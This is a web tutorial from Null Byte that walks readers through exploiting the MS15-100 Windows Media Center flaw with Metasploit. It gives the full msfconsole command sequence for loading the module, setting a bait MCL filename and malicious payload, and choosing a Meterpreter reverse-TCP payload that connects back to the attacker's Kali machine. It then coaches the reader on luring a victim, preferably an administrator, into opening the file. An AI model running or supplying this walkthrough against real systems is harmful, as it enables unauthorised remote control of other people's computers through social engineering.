Hack Like a Pro: How to Hack Windows Vista, 7, & 8 with the New Media Center Exploit « Null Byte :: WonderHowTo

Welcome back, my tenderfoot hackers!Recently, Microsoft released a new patch (September 8, 2015) to close another vulnerability in their Windows Vista, 7, 8, and 8.1 operating systems. The vulnerability in question (MS15-100) enabled an attacker to gain remote access to any of these systems using a well-crafted Media Center link (MCL) file.As hackers, we need to take a multipronged approach to gaining access to a system. Gone are the days ofMS08-067that would basically allow you to remotely take control of any Windows XP, 2003, or 2008 system. Now we have to be more crafty to find a way to gain access to the system.TheAdobe flash exploitshave been, and continue to be, excellent gateways into Windows systems—if we can get the user to click on a URL link. Many applications have vulnerabilities, but before attacking those we need to know that they are on the system. That's whyreconnaissanceis so criticalThis hack is targeted to the Media Center on every Windows Vista, 7, 8, and 8.1 system. That makes it ubiquitous, but we still need to send the the victim an .mcl link to gain access to their system.Metasploitrecently added an exploit to accomplish this task and that is what we will be using here (another exploit that accomplishes the same thing without the Metasploit framework does exist in theExploit Database).Microsoft Security Bulletin MS15-100 - ImportantHere is what Microsoft said about this vulnerability (MS15-100) in theirMicrosoft Security Bulletinon TechNet:Although the vulnerability has been patched, many systems don't have automatic patching for a number of reasons, especially within corporate, large institution, and military installations.Just a warning. This hack is not for the newbie. I requires significant knowledge of both Linux and Metasploit to work.Step 1: Fire Up KaliOur first step, of course, is to fire upKali. This exploit requires that you have Ruby 2.1 on your Kali system, so if you are using Kali 1.1 or earlier, you will need to upgrade your Ruby. Kali 2.0 has the upgraded Ruby, so there's no need to upgrade.Step 2: Go to Exploit-DBNext, let's go to theExploit-DB. Under theRemote Code Execution Exploitssection, we can find the exploit under its Microsoft designation,MS15-100.Don't Miss:How to Find Exploits Using the Exploit Database in KaliWhen we select this exploit, it brings up the Metasploit code that we must add to our Metasploit framework. Copy and paste it to a text file in Kali.Step 3: Add New Module to MetasploitEarlier this year, I wrote a tutorial onhow to install a new module in Metasploit, so please refer to that if you need more help on this subject. You will need to add this module to your Metasploit framework before we can proceed. Name itms15_100_mcl.rb. It may be that by the time you read this article, Rapid7 will have added this module to the framework and you won't need to add the module, but time is critical here.Step 4: Start Metasploit & Search for New ModuleOnce you have added the module to Metasploit, start (or restart) Metasploit and search for the module to make certain it is available to you.msf > search ms15_100If you find it, we are ready to roll!Step 5: Load New ModuleWe now need to load the module:msf > use exploit/windows/fileformat/ms15_100_mclThis loads this exploit into memory.Step 6: InfoNow that we have loaded the module, let's typeinfoto see what requirements this module needs.msf > infoAs you can see, we need to provide this module both the FILENAME and FILE_NAME. One is the .mcl file (FILENAME) and the other is the malicious file (FILE_NAME) we will load on to the victim's system.Step 7: Set OptionsAs you can see in the screenshot above, this module will require that we set the name of the .mcl file (FILENAME) and the name of malicious payload (FILE_NAME). In an attempt to entice the victim to open my .mcl link, I'll call itbest_music_video_ever.mcl.msf > set FILENAME best_music_video_ever.mclmsf > set FILE_NAME best_video.exeWe also need to set a payload. In this case, I will use the Windows Meterpreter.msf > set PAYLOAD windows/meterpreter/reverse_tcpFinally, we just typeexploit.msf > exploitMetasploit saved the file at/root/msf4/local/best_music_video_ever.mcl. That is the file we need to get to the victim!Step 8: Send the MCL File to the VictimMetasploit has now created our .mcl file and opened a share on the network. We now need to send this file, one way or another, to the victim and get them to open it.Note in the screenshot above that the victim's Windows 7 system has the MCL file,best_music_video_ever.mclon their desktop.Step 9: Take Control of the SystemWhen the victim clicks on the .mcl link to watch the "Best Music Video Ever," it will connect back to our Kali system opening a Meterpreter session. In my case, the session did not automatically open in Metasploit, but when I typed:msf > sessions -lI received this response showing me that a session had been opened on the victim machine. Success!Now that I have a Meterpreter session, I can do just about anything on this system within the privileges I came in on. Since this exploit comes in with the privileges of the user, I will be limited to the privileges of the user who clicked on the .mcl file. Obviously, if we can get an administrator to click on this file, we will come in with their privileges, which would be much more powerful.Keep coming back, my tenderfoot hackers, as we explore the most valuable skill set on the planet—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How To:Get Windows Media Center for Free on Windows 8 ProHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Run an VNC Server on Win7Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterHow To:Manage pictures, videos, movies, music and TV in Windows Vista Media CenterHack Like a Pro:How to Hack into Your Suspicious, Creepy Neighbor's Computer & Spy on HimHow To:Manage digital pictures with the Windows Vista Media CenterHack Like a Pro:How to Find  Exploits Using the Exploit Database in KaliHack Like a Pro:How to Save the World from Nuclear AnnihilationNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHow To:Create Windows 7 GodModeHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:unlock the windows 7 vista hidden admin accountWeekend Homework:How to Become a Null Byte Contributor (1/12/2012)Weekend Homework:How to Become a Null Byte ContributorNews:Create Cool video tutorials - Free screen capture in Windows - part 1.How To:Restore Windows Master Boot Record on VistaHow To:Change Windows Clock To 12 Hour TimeHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:Create Cool Video Tutorials - Free Screen Capture in Windows - Part 2.